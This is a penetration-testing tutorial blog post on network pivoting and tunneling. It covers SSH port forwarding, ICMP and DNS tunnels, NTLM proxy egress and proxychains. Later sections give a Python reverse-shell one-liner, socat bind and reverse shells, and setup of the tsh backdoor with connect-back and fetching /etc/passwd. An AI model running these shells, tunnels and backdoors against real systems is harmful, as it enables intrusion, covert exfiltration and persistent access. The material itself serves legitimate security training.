Penetration testers often traverse logical network boundaries in order to gain access to client’s critical infrastracture. Common scenarios include developing the attack into the internal network after successful perimeter breach or gaining access to initialy unroutable network segments after compromising hosts inside the organization. Pivoting is a set of techniques used during red team/pentest engagements which make use of attacker-controlled hosts as logical network hops with the aim of amplifying network visibility. In this post I’ll cover common pivoting techniques and tools available.


Target with public IP

A prevalent scenario. Let’s say you find an RCE bug in a web-app accessible from the internet. You upload a shell and want to develop your attack into the internal network. Note that in this specific scenario you should able to bind ports on the compromised host and those ports should be accessible from the external network.

SSH port forwarding

Managed to find credentials to the SSH-service running on the host? Great! Connect to the host as follows:

ssh [email protected] -D 1080

This will spawn a socks server on the attacker’s side (ssh-client side). Welcome to the intranet ;) It is also possible to forward one specific port to a specific host. Let’s say you need to access an SMB share in the internal network on host

ssh [email protected] -L 445:

This way a port 445 will be opened on the attacker’s side. Note, that to bind privileged ports (such as 445) you will need root privileges on your machine.

VPN over SSH

Since openssh release 4.3 it is possible to tunnel layer 3 network traffic via an established ssh channel. This has an advantage over a typical tcp tunnel because you are in control of ip traffic. So, for example, you are able to perform SYN-scan with nmap and use your tools directly without resorting to proxychains or other proxifying tools. It’s done via the creation of tun devices on client and server side and transferring the data between them over ssh connection. This is quite simple, but you need root on both machines since the creation of tun devices is a privileged operation. These lines should be present in your /etc/ssh/sshd_config file (server-side):

PermitRootLogin yes
PermitTunnel yes

The following command on the client will create a pair of tun devices on client and server:

ssh [email protected] -w any:any

The flag -w accepts the number of tun device on each side separated with a colon. It can be set explicitly - -w 0:0 or you can use -w any:any syntax to take the next available tun device.

The tunnel between the tun devices is enabled but the interfaces are yet to be configured. Example of configuring client-side:

ip addr add peer dev tun0


ip addr add peer dev tun0

Enable ip forwarding and NAT on the server:

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s -o eth0 -j MASQUERADE

Now you can make the peer host your default gateway or route a specific host/network through it:

route add -net gw

In this example the server’s external network interface is eth0 and the newly created tun devices on both sides are tun0.


Get it here - This tools works for multiple platforms. There are pre-built binaries for Windows. As for Linux, you will need to build it yourself which is not a rocket science, just ./configure && make :) This tool is a swiss army knife in the proxy world so it has a ton of functionality. I usually use it either as a socks proxy or as a port forwarder.

This tool gets all of its options from config file. To run it:

3proxy.exe config_file

or if you are on a Linux system:

./3proxy config_file

To run 3proxy as a socks5 proxy at port 1080 put the following line in the config:

socks -p1080

Now it’s possible to tunnel most of your pentesting tools through this proxy to develop the attack in the internal network. This is just a basic setup which is not very secure. You can play with options to place authentication and/or ip-based access control rules. Go check the full manual here - To tunnel a specific port use the following syntax:

tcppm <localport> <targethost> <targetport>

NAT scenario

This is by far the most common situation I encounter during engagements. The traffic to the target is being forwared on per-port basis. This means that all ports bound other than those being in the port forwarding rules won’t be accessible from outside. One possible solution is to initiate a reverse connection. The tools described below will help you with that.

SSH reverse port forwarding /w 3proxy

This pivoting setup looks something like this:

Run 3proxy service with the following config on the target server:

socks -p31337

Create a separate user on the receiving side (attacker’s machine).

adduser sshproxy

This user has to be low-privileged and shouldn’t have shell privileges. After all, you don’t want to get reverse pentested, do ya? :) Edit /etc/passwd and switch shell to /bin/false. It should look like:


Now connect to your server with the newly created user with -R flag. Linux system:

ssh [email protected]_server -R 31337:

For windows you will need to upload plink.exe first. This is a console version of putty. To run it:

plink.exe [email protected]_server -R 31337:

The -R flag allows you to bind port on the server side. All connections to this port will be relayed to a specified port on the client. This way we can run 3proxy socks service on the client side (compromised machine) and access this port on the attacker’s host via ssh -R flag.


This is my favorite method of traversing NAT connections. Rpivot is a reverse socks proxy tool that allows you to tunnel traffic via socks proxy. It connects back to your machine and binds a socks proxy on it. It works just like ssh -D but in opposite direction. Server side:

python --proxy-port 1080 --server-port 9999 --server-ip

Client side:

python --server-ip <ip> --server-port 9999

As a result, a socks4 proxy service will be bound server side on port 1080.

Exfiltrating from the internal network

Here’s a different case. Let’s say your social engineering gig ended up placing you in the internal network. You have limited connectivity and ability to execute command on the compromised machine. Of course, if the internet is directly routed and not firewalled you can resort to any technique described above. But if you’re not so lucky there’re still ways to pivot your way out.

ICMP tunneling

If icmp traffic is allowed to external networks then most likely you can establish an icmp tunnel. The downside is that you will need root/administrator privileges on the target system becase of the necesity to use raw sockets. Check this tool out - Personally I’ve never tried running it on Windows. It works like a charm on Linux tho. Server side command (attacker’s machine):

./hans -v -f -s -p [email protected]

The -v flag is for verbosity, the -f flag is to run in foreground and the -s flag’s value is the server’s ip on the newly created tun interface.

Client side:

./hans -f -c <server_ip> -p [email protected] -v

After successful connection the client should be directly visible at

# ping
PING ( 56(84) bytes of data.
64 bytes from icmp_seq=1 ttl=65 time=42.9 ms

Now you can use this machine as gate into the internal network. Use this machine a default gateway or connect to a management interface (ssh/tsh/web shell).

DNS tunneling

If any WAN traffic is blocked but external host names are resolved then there’s a possibility of tunneling traffic via DNS queries. You need a domain registered for this technique to work. This manual might help you with setting up your name server.


If so happens that you got root access on the server you can try iodine. It works almost like hans icmp tunneling tool - it creates a pair of tun adapters and tunnels data between them as DNS queries. Server side:

iodined -f -c -P [email protected]

Client side:

iodine -f -P [email protected] -r

Successful connection will yield direct client visibility at address Note, that this tunneling technique is quite slow. Your best bet is to use a compressed ssh connection over the resulting connection:

ssh <user>@ -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080


Dnscat2 establishes C&C channel over recursive DNS queries. This tool doesn’t require root/administrator access (works both on windows and linux). It also supports port forwarding. Server side:

ruby ./dnscat2.rb

Client side:


After you receive a connection of server side, you can view the active sessions with windows command:

dnscat2> windows
0 :: main [active]
  dns1 :: DNS Driver running on domains = [*]
  1 :: command session (debian)
  2 :: sh (debian) [*]

To initiate port forwarding select a command session with session -i <num>:

dnscat2> session -i 1
New window created: 1
New window created: 1
history_size (session) => 1000
This is a command session!

That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.

command session (debian) 1>

Use listen [lhost:]lport rhost:rport command to forward a port:

command session (debian) 1> listen

This will bind port 8080 on the attacker’s machine and forward all connections to

Corporate HTTP proxy as a way out

HTTP proxies organization place for their employees to access external web-application present a good exfiltration opportunity given you got the right credentials ;)


I already mentioned this tool in the NAT traversal section. It also supports connecting to the outside world via NTLM HTTP proxies. Server side command remains intact, use client-side command as follows:

python --server-ip <rpivot_server_ip> --server-port 9999\
--ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM\
--username Alice --password [email protected]

Or if you have LM:NT hashes instead of password:

python --server-ip <rpivot_server_ip>\
--server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM\
--username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45


Cntlm is the tool of choice for running any non-proxy aware programs over NTLM-proxy. Basically this tool authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. This port bound does not require any authentication so you can use your tools directly (putty/ssh for example). It uses a config file for its operation. Here’s a barebones config example to forward port 443 (this port is most likely to be allowed through the proxy):

Username Alice
Password [email protected]
Tunnel 2222:<attackers_machine>:443

Run it:

cntlm.exe -c config.conf

Or if you’re on Linux:

./cntlm -c config.conf

Now, given you have ssh running on the remote host on port 443, you can launch ssh client (openssh/putty) and connect to local port 2222 to get access to the external machine.

OpenVpn over HTTP proxy

OpenVpn is huge so its configuration from the ground up is out of scope of this post. Just a quick mention - it also supports tunneling tcp connections over NTLM proxies. Add this line to your config file:

http-proxy <proxy_ip> 8080 <file_with_creds> ntlm

Credential file should contain username and password on separate lines. And, yes, you’ll need root.

Making use of SOCKS with proxychains

If your program doesn’t use raw sockets (nmap syn-scan, for example) then most probably you can use proxychains to force your program though the socks proxy. Edit proxy server in /etc/proxychains.conf:

# add proxy here ...
# meanwile
# defaults set to "tor"
socks4 3128

All ready. Just prepend proxychains to you favorite pwn tool:

proxychains program_name

Using impacket’s with proxychains:


DNS with proxychains

Proxychains doesn’t follow socks RFC when it comes to resolving hostnames. It intercepts gethostbyname libc call and tunnels tcp DNS request through the socks proxy. The things is, the DNS server is hardcoded to You might want to change the nameserver in order to resolve names on the internal network. A typical scenario is to change the nameserver to domain controller if you are pentesting windows environment. The setup is located at /usr/lib/proxychains3/proxyresolv:

# This script is called by proxychains to resolve DNS names

# DNS server used to resolve names
DNS_SERVER=${PROXYRESOLV_DNS:-}    #change nameserver here

if [ $# = 0 ] ; then
    echo "  usage:"
    echo "      proxyresolv <hostname> "

Beutifying your web shell

This section is not directly related to either pivoting or tunneling but instead describes a way of simplifying your work when developing attack into the internal network. Often, using a web-shell is rather tedious, especially when using programs that expect an interactive command interface. Most likely you will use some workarounds to performs simple tasks, such as passing password to sudo/su or just editing a file. I’m not a big fan of torturing myself, so when there’s an oportunity to escalate the web-shell to an interactive shell, I do so :) I won’t cover stuff like launching semi-interactive shell using bash/perl/python etc. There’s a ton of info on doing so. Check out this reverse shell cheat sheet -

Python PTY shell

An upgrade from a regular semi-interactive shell. You can execute the following command in your existing shell:

python -c 'import pty; pty.spawn("/bin/bash")'

Or initiate reverse connection:

python -c 'import socket,subprocess,os;\
s.connect(("<attackers_ip>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);\
os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'


Netcat on steroids! Seriously tho, go check this tool’s manual man socat and you’d be amazed what you can do with this tool regarding tunneling. Among other things it can spawn a fully interactive shell, even better than the aforementioned python-pty. The downside is that you most probably will have to build/install this tool on the target server as it is not a default utility in most unix-like distributions.

Bind shell

Set listener:

socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

Connect to the listener:

socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337

Reverse shell

Set listener:

socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0

Connect to attacker’s machine:

socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

Terminal size

By default the terminal size is quite small, as you may notice when launching top command or editing files with a text editor. You can easily change this, use stty -a command to get the size of your regular teminal:

$ stty -a
speed 38400 baud; rows 57; columns 211; line = 0;

Apply desired size to your socat terminal:

$ stty rows 57 cols 211


Tsh is a small ssh-like backdoor with full-pty terminal and with capability of file transfer. This tool has very small footprint and is easily built on most unix-like systems. Start with editing tsh.h file:

#ifndef _TSH_H
#define _TSH_H

char *secret = "never say never say die";

#define SERVER_PORT 22
short int server_port = SERVER_PORT;
#define CONNECT_BACK_HOST  "localhost"
#define GET_FILE 1
#define PUT_FILE 2
#define RUNSHELL 3

#endif /* tsh.h */

Change secret, specify SERVER_PORT. Uncomment and edit CONNECT_BACK_HOST and CONNECT_BACK_DELAY directives if you want backconnect. Run make:

$ make linux_x64
make								\
	LDFLAGS=" -Xlinker --no-as-needed -lutil"	\
	DEFS=" -DLINUX"					\
	tsh tshd
make[1]: Entering directory '/tmp/tsh'
gcc -O3 -W -Wall -DLINUX -c pel.c
gcc -O3 -W -Wall -DLINUX -c aes.c
gcc -O3 -W -Wall -DLINUX -c sha1.c
gcc -O3 -W -Wall -DLINUX -c tsh.c
gcc -Xlinker --no-as-needed -lutil -o tsh pel.o aes.o sha1.o tsh.o
strip tsh
gcc -O3 -W -Wall -DLINUX -c tshd.c
gcc -Xlinker --no-as-needed -lutil -o tshd pel.o aes.o sha1.o tshd.o
strip tshd
make[1]: Leaving directory '/tmp/tsh'

Now run ./tshd on server. It will start listening on the specified port. You can connect to it via executing the following command:

./tsh host_ip

If tsh was compiled with backconnect capability, the tshd daemon will try to connect back to the attacker’s machine. To launch listener on attacker’s side:

$ ./tsh cb
Waiting for the server to connect...

To transfer files with tsh:

./tsh host_ip get /etc/passwd .
./tsh host_ip put /bin/netcat /tmp